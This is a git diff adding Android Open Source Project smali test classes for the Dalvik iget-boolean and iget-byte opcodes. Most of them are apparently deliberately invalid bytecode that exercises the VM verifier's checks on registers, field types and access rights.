diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_3.smali
new file mode 100644
index 0000000..bb6f797
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_3.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_3;
+.super  Ljava/lang/Object;
+
+.field public  i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-boolean v3, v2, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_3;->i1:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_30.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_30.smali
new file mode 100644
index 0000000..4957b23
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_30.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_30.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_30;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    new-instance v0, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_30;
+    iget-boolean v1, v0, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_30;->st_i1:Z
+.end method
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_31.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_31.smali
new file mode 100644
index 0000000..662fc71
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_31.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_31.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_31;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+    iget v0, v0, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_31;->st_i1:Z
+    return v0
+.end method
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_35.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_35.smali
new file mode 100644
index 0000000..2b31401
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_35.smali

@@ -0,0 +1,31 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_35.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_35;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 2
+       iget-boolean v0, v1, Ldot/junit/opcodes/iget_boolean/TestStubs;->TestStubProtectedField:Z
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_4.smali
new file mode 100644
index 0000000..7f29e80
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_4.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_4.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_4;
+.super  Ljava/lang/Object;
+
+.field public  i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       iget-boolean v1, v2, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_4;->i1:Z
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_5.smali
new file mode 100644
index 0000000..d817a56
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_5.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_5.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_5;
+.super  Ljava/lang/Object;
+
+.field public static i1:Z
+
+.method public constructor <init>()V
+.registers 4
+
+       invoke-direct {v3}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       iget-boolean v1, v2, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_5;->i1:Z
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_6.smali
new file mode 100644
index 0000000..49fc947
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_6.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_6.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iget_boolean/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_boolean/TestStubs;-><init>()V
+
+       iget-boolean v1, v0, Ldot/junit/opcodes/iget_boolean/TestStubs;->TestStubField:Z
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_7.smali
new file mode 100644
index 0000000..77dd497
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_7.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_7.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       iget-boolean v1, v2, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_7no_class;->i1:Z
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_8.smali
new file mode 100644
index 0000000..766e3e1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_8.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_8.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       iget-boolean v1, v2, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_8;->i1N:Z
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_9.smali
new file mode 100644
index 0000000..5bd5876
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_9.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_9.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_9;
+.super  Ljava/lang/Object;
+
+.field public  i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       const v0, 0        
+       iget-boolean v1, v0, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_9;->i1:Z
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_1.smali
new file mode 100644
index 0000000..db0ac06
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_1.smali

@@ -0,0 +1,47 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_1.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_1;
+.super  Ljava/lang/Object;
+
+.field public  i1:B
+.field protected  p1:B
+.field private  pvt1:B
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       
+       const v0, 77
+       iput-byte v0, v1, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_1;->i1:B
+
+       const v0, 77
+       iput-byte v0, v1, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_1;->p1:B
+
+       const v0, 77
+       iput-byte v0, v1, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_1;->pvt1:B
+       
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       iget-byte v1, v2, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_1;->i1:B
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_11.smali
new file mode 100644
index 0000000..9f6746a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_11.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_11.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_11;
+.super  Ldot/junit/opcodes/iget_byte/d/T_iget_byte_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_1;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       iget-byte v1, v2, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_1;->p1:B
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_12.smali
new file mode 100644
index 0000000..88d52e7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_12.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_12.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_12;
+.super  Ldot/junit/opcodes/iget_byte/d/T_iget_byte_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_1;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       iget-byte v1, v2, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_1;->pvt1:B
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_13.smali
new file mode 100644
index 0000000..46db3f5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_13.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_13.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_13;
+.super  Ljava/lang/Object;
+
+.field public  i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-byte v0, v2, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_13;->i1:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_15.smali
new file mode 100644
index 0000000..896db80
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_15.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_15.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_15;
+.super  Ljava/lang/Object;
+
+.field public  i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-byte v0, v2, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_15;->i1:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_16.smali
new file mode 100644
index 0000000..b86ca97
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_16.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_16.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_16;
+.super  Ljava/lang/Object;
+
+.field public  i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-byte v0, v2, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_16;->i1:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_17.smali
new file mode 100644
index 0000000..858a356
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_17.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_17.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_17;
+.super  Ljava/lang/Object;
+
+.field public  i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-byte v0, v2, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_17;->i1:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_18.smali
new file mode 100644
index 0000000..527cd8c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_18.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_18.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_18;
+.super  Ljava/lang/Object;
+
+.field public  i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-byte v0, v2, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_18;->i1:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_19.smali
new file mode 100644
index 0000000..e5ebb35
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_19.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_19.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_19;
+.super  Ljava/lang/Object;
+
+.field public  i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-byte v0, v2, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_19;->i1:D
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_20.smali
new file mode 100644
index 0000000..d7dc884
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_20.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_20.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_20;
+.super  Ljava/lang/Object;
+
+.field public  i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-byte v0, v2, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_20;->i1:J
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_21.smali
new file mode 100644
index 0000000..0eb3319
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_21.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_21.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_21;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iget_byte/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_byte/TestStubs;-><init>()V
+
+       iget-byte v1, v0, Ldot/junit/opcodes/iget_byte/TestStubs;->TestStubProtectedField:B
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_3.smali
new file mode 100644
index 0000000..86baa31
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_3.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_3;
+.super  Ljava/lang/Object;
+
+.field public  i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
